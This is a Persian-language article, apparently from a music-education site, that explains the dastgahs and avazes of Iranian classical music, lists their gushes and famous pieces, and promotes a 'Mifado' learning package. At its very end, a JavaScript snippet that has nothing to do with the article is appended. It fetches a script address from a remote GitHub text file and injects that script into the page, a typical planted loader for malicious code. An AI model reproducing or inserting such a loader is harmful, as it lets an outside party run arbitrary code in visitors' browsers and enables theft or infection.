دستگاه شناسی

دستگاه شناسی یعنی شناخت دستگاه‌ها و گوشه‌های موسیقی اصیل یا به اصطلاح عامیانه سنتی ایرانی. درواقع شناخت موسیقی دستگاهی ایرانی به شما کمک میکند تا درک بیشتری نسبت به این سبک موسیقی پیدا کرده و در شنیدن و نواختن تبحر بیشتری پیدا کنید.

دستگاه شناسی موسیقی ایرانی

اگر بخواهیم به صورت علمی تعریفی از دستگاه شناسی موسیقی ایرانی ارائه دهیم، می‌توان گفت که دستگاه موسیقی ایرانی به مجموعه‌ای از چند گوشه (نغمه‌ها ) گفته می‌شود که در گام، کوک و فواصل نت هم آهنگی دارند. موسیقی اصیل یا سنتی دارای هفت «دستگاه» است. این «دستگاه‌ها» مجموعه‌ای از گوشه‌ها هستند که بر اسا‌س منطقی درونی و اصولی کنار هم قرار می‌گیرند و هر یک حال‌ و هوایی را به شما القا می‌کنند مانند حس ابهت، غرور، غم و …

نظام موسیقی کلاسیک ایرانی از اواخر دوران قاجار ساختاری جدید پیدا کرد که به آن نظام ردیفی یا موسیقی دستگاهی می‌گویند. ردیف، مجموعه‌ای از آهنگ‌های کوچک است که گوشه نام دارند.

قدمت دستگاه شناسی در دوران معاصر

اما «دستگاه‌ها» به صورتی که امروزه ما آنها را یاد میگیریم از دوران قاجار در موسیقی دستگاهی ایران متداول شده‌اند و به دلیل داشتن همین گوشه‌ها، موسیقی اصیل ما را از تمام موسیقی‌­های دنیا متمایز می‌کنند. این گوشه‌ها در مدل‌های مختلفی چون پیش‌درآمد، درآمد، چهارمضراب، آواز، تصنیف و رِنگ تقسیم‌بندی و تدریس می‌شوند.

دستگاه به چه معناست؟

دستگاه از بهم پیوستن چند مقام شکل می‌گیرد و از این چند مقام مقامی به عنوان مقام اصلی، نقش شروع،خاتمه و رابطه‌ی میان مقام‌ها را به عهده دارد.

به عبارتی ساده‌تر به مجموع اجزای یک آهنگ در یک گام یا یک مقام با حفظ فواصل مخصوص آن، دستگاه گفته می‌شود.

کلمه دستگاه از کجا می‌آید؟

کلمه دستگاه از دو واژه “دست” و قید “گاه” تشکیل شده است. در واقع علت این نامگذاری تغییر جایگاه دست ما در گام‌های مختلف است که مایه‌ی موسیقی آن را تغییر می‌دهد.

در موسیقی تمامی دنیا و موسیقی ایرانی، دست ( در مضراب و آرشه) و انگشت‌ها(در پرده‌ گیری روی ساز) استفاده فراوان دارد و نیز مفهوم “گاه” کلماتی چون وقت، نوبت، لحظه و … را یادآوری می‌کند. پس کلمه‌ی دستگاه به راحتی می‌تواند به مفهوم قرارگیری دست روی دسته ساز باشد.

مثلا انگشت گذاری سه تار برای دستگاه ماهور با دستگاه شور متفاوت است. با تغییر انگشتان و جای انگشتان نغمات تغییر کرده و دستگاه موسیقی کاملا تغییر پیدا میکند.

پس دیگر قرار نیست با شنیدن نام دستگاه معنی متداول و همیشگی آن در ذهن ما تداعی شود.

شما می‌توانید پکیج دستگاه شناسی می‌فادو را از اینجا تهیه کنید.

دستگاه های موسیقی ایرانی

همانطور که قبلا گفته شد دستگاه موسیقی ایرانی دارای هفت دستگاه و پنج آواز است.

دستگاه‌های موسیقی ایرانی عبارتند از شور، همایون، ماهور، سه گاه، چهارگاه، نوا و راست پنجگاه و آوازهای موسیقی اصیل ایرانی عبارت‌اند از ؛آواز یا بیات اصفهان، آواز یا بیات ترک، بیات یا آواز دشتی، بیات یا آواز ابوعطا،بیات یا آواز افشاری.

هر دستگاه و آواز از گوشه‌های مختلفی تشکیل شده است که از گوشه درآمد شروع می‌شود.

دستگاه و آوازها گوشه‌های مشترکی دارند که از طریق آن وارد فضای یکدیگر شده و به اصطلاح مرکب خوانی و مرکب نوازی می‌شود. که نوازنده و خواننده از طریق گوشه‌های مشترک میتواند ترکیبی از چند دستگاه و آواز را اجرا کنند.

در کل موسیقی اصیل یا سنتی ایرانی دارای هفت دستگاه و پنج آواز است که می‌توان به مجموعه‌ی آن 12 مایه‌ی موسیقی گفت.

اختلاف دستگاه و آواز

آوازها از مشتقات دستگاه‌ها هستند. آواز ابوعطا، آواز دشتی، آواز افشاری، آواز ترک زیر مجموعه دستگاه شور است و بیات اصفهان از دستگاه همایون مشتق شده است. به این ترتیب دستگاه‌های موسیقی اصیل ایرانی مفصل‌تر از آوازها هستند. می‌توان گفت چون آوازها حس خاص موسیقیایی منحصر به خود را دارند و از گوشه‌های متعددی نیز تشکیل شده‌اند به صورت جدا به آن پرداخته شده است.

برای نامیدن این مشتقات دستگاهی باید عبارات صحیحی به کار برد. زیرا آوازها زیرمجموعه‌ای از دستگاه‌ها هستند. مثلا دستگاه اصفهان اشتباه است. نمی‌توان به دستگاه موسیقی پیشوند آواز اضافه کرد و به همین ترتیب نمی‌توان به آوازهای موسیقی اصیل ایرانی نیز پیشوند دستگاه را اضافه کرد. اما می‌توان بجای آواز از پیشوند، نغمه یا بیات استفاده کرد. یعنی بجای آواز اصفهان می‌توان گفت: بیات اصفهان یا نغمه اصفهان.

همچنین برای اینکه کلمه‌ای واحد برای تمامی دستگاه‌ها و آوازها به کار ببریم می‌توان قبل از تمامی آن‌ها از کلمه‌ی مایه‌ی موسیقی استفاده کرد.

در ادامه به معرفی 12 مایه‌ی موسیقی ایرانی خواهیم پرداخت.

دستگاه شور

مهم‌ترین دستگاه موسیقی ایرانی و به اصطلاح مادر تمامی دستگاه‌ها، مایه شور در موسیقی اصیل ایرانی است. قطعه خزان استاد مشکاتیان که یکی از معروف‌ترین قطعات موسیقی اصیل ایرانی است به طور کامل حس و حال دستگاه شور را به شنونده القا می‌کند. دستگاه شور یکی از عامه پسندترین دستگاه‌های موسیقی ایرانی است. به جرات می‌توان گفت که پکیج دستگاه‌شناسی می‌فادو کامل‌ترین پکیج یادگیری است که به شما کمک می‌کند تا به درک کامل‌تری از دستگاه شور دست پیدا کنید. آواز دشتی، بیات ترک،آواز افشاری و آواز ابوعطا از زیر مجموعه‌های دستگاه شور است.

شور در زبان عِبری به معنای سرود و آواز است و از زمان ساسانیان به زبان فارسی ورود پیدا کرده است.

وجه تسمیه دستگاه شور همان شور آفرینی است.

اسامی برخی از گوشه‌های دستگاه شور عبارت‌اند از کرشمه، نغمه، حزین، زیرکش سلمک‌، سلمک، مجلس‌افروز، دوبیتی، رضوی، شهناز، مثنوی، بیات‌کرد، ضرب‌اصول و شهرآشوب.

آواز یا نغمه‌ی ابوعطا

آواز ابوعطا یکی از زیرمجموعه‌های دستگاه شور است. یکی از قطعات معروف آواز ابوعطا موسیقی تیتراژ سریال قدیمی ایرانی به اسم روزی روزگاری ساخته فرهاد فخرالدینی است. گوشه های آواز ابوعطا عبارتند از: رامکلی، درآمد، سیخی، حجاز، بسته نگار،یقولون، چهارپاره،گبری، غم انگیز، گیلکی

آواز یا نغمه‌ی بیات ترک

حتما تاکنون اذان موذن زاده اردبیلی را شنیده‌اید، این اذان در گوشه روح‌الارواح آواز ترک خوانده شده است. بعضی ها به آواز ترک، بیات زند نیز می‌گویند. بیات ترک یکی از مایه‌هایی است که بین عامه مردم معروف است. یکی از معروف‌ترین آلبوم‌های موسیقی اصیل ایرانی، آلبوم آستانه جانان استاد شجریان در بیات ترک ساخته شده است.

آواز یا نغمه‌ی افشاری

اگر به این آواز استاد شجریان به نام «این دهان بستی دهانی باز شد»که در ماه رمضان قبل از اذان پخش می‌شد؛ علاقه‌مند هستید، شما از دوست‌داران آواز افشاری هستید. نغمه، آواز یا بیات افشاری یکی از متعلقات دستگاه شور است. گوشه مثنوی در آواز افشاری محبوب‌ترین و معروف‌ترین مثنوی در بین 12 مایه موسیقی ایرانی است.

آواز یا نغمه‌ی دشتی

آواز دشتی غمگین ترین مایه موسیقی ایرانی است. نغمه دشتی از مشتقات دستگاه شور است. البته در عین اینکه آواز دشتی بسیار غمگین یا به اصطلاح حس سرمزاری دارد ولی بسیار لطیف و شاعرانه است.

دستگاه همایون

گام کوچک در موسیقی غربی شباهت زیادی به دستگاه همایون دارد. دستگاه همایون در عین حال که با شکوه و مجلل است حس پند دهنده را نیز به مخاطب القا می‌کند. روح الله خالی موسیقیدان برجسته ایرانی در مورد دستگاه همایون می‌گوید:

” همایون ناصحی است مشفق مهربان که با کمال شرم و آزرم با مستعین خود مکالمهو درد و دل می‌کند و با بیانی شیوا چنان نصیحت می‌کند و پند می‌دهد که هیچ سخنران را این مهارت و استادی نیست”.

نغمه اصفهان از مشتقات دستگاه همایون است.

بیات اصفهان

آواز یا نغمه یا بیات اصفهان از آوازهای قدیم ایرانی است که به عاشقانه‌ترین مایه موسیقی ایرانی نیز معروف است. آواز اصفهان زیر مجموعه دستگاه همایون است. بسیاری از ملودی های عاشقانه در میانه عامه مردم معروف است در بیات اصفهان نواخته شده است.

دستگاه ماهور

دستگاه ماهور مانند گام ماژور موسیقی غربی است.ماهور یکی از دستگاه های موسیقی ایرانی است که حس باوقار، با ابهت را به شنونده القا می کند. می‌توان گفت که از نظر حس وقار دستگاه ماهور پس از دستگاه چهارگاه قرار می‌گیرد. همچنین درآمد دستگاه ماهور برای سرود پرچم استفاده می‌شود.

دستگاه سه‌گاه

دستگاه سه‌گاه یادآوار طهران قدیم است و حس و حال فیلم فارسی‌های سینمای دهه 40 و 50 ایران را زنده می‌کند. معروف‌ترین قطعه دستگاه سه‌گاه که به گوش تمامی ایرانی‌ها آشنا است، قطعه گنج قارون با صدای استاد حسین خواجه امیری معروف به ایرج است.

دستگاه سه‌گاه در عین حال که از کوچه و بازار می‌آید و یا به اصطلاح محفلی است ولی به مانند حس و حال مابقی دستگاه‌ها و آوازهای موسیقی اصیل ایرانی بسیار غمگین نیز است.

دستگاه چهارگاه

تیتراژ موسیقی متن سریال پدر سالار ساخته بهمن دهقانیار به خوبی حس و حال دستگاه چهارگاه را بیان می‌کند. دستگاه چهارگاه به اصطلاح قلدرترین دستگاه موسیقی ایرانی است. از قطعات معروف دستگاه چهارگاه می‌توان به نوروز آمد انوشیروان روحانی با صدای خانم هایده، باباکرم با صدای آفت و بادا بادا مبارک بادآ و.. اشاره کرد.

دستگاه نوا

دستگاه نوا یکی از کامل‌ترین دستگاه‌های موسیقی ایرانی است. شخصیت دستگاه نوا به اصطلاح باصلابت‌ترین دستگاه موسیقی اصیل ایرانی است. گوشه نهفت در دستگاه نوا یکی از مهم‌ترین گوشه‌های آن است که قطعه جان مریم در این گوشه نواخته شده است. از دیگر قطعات دستگاه نوا می‌توان به؛موسیقی تیتراژ سریال سربداران، قطعه بی همگان، پیرفرزانه با صدای بانوپریسا، چرا رفتی با صدای همایون شجریان و..اشاره کرد.

دستگاه راست‌پنجگاه

دستگاه راست‌پنجگاه که با نام راست هم شناخته می‌شود. خاصتگاه راست پنجگاه منطقه لرستان بوده است. به اصطلاح راست پنجگاه از دو منطقه راست و پنجگاه تشکیل شده است.پنجگاه شاه‌راهی است برای ورود راست پنجگاه به گاه‌های دیگر،در حقیقت از منقطه راست به دستگاه‌های دیگر ورود می‌کنیم. در واقع امکان پرده‌گردانی به تمام دستگاه‌های دیگر را فراهم می‌کند.

در آخر باید گفت که برای یادگیری موسیقی دستگاهی ایرانی نیاز به آموزش درست و اصولی است. می فادو تلاش کرده است که در این راستا پکیجی درخور مخاطبان حرفه‌ای موسیقی اصیل ایرانی ارائه دهد. به جرات می‌توان گفت پکیج دستگاه شناسی میفادو کامل‌ترین آموزش دستگاه شناسی است که برای تمامی سطوح موسیقی ایرانی و غربی مناسب است. امید است که در این راستا گام بزرگی برای موسیقی اصیل ایرانی برداشته باشیم.

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)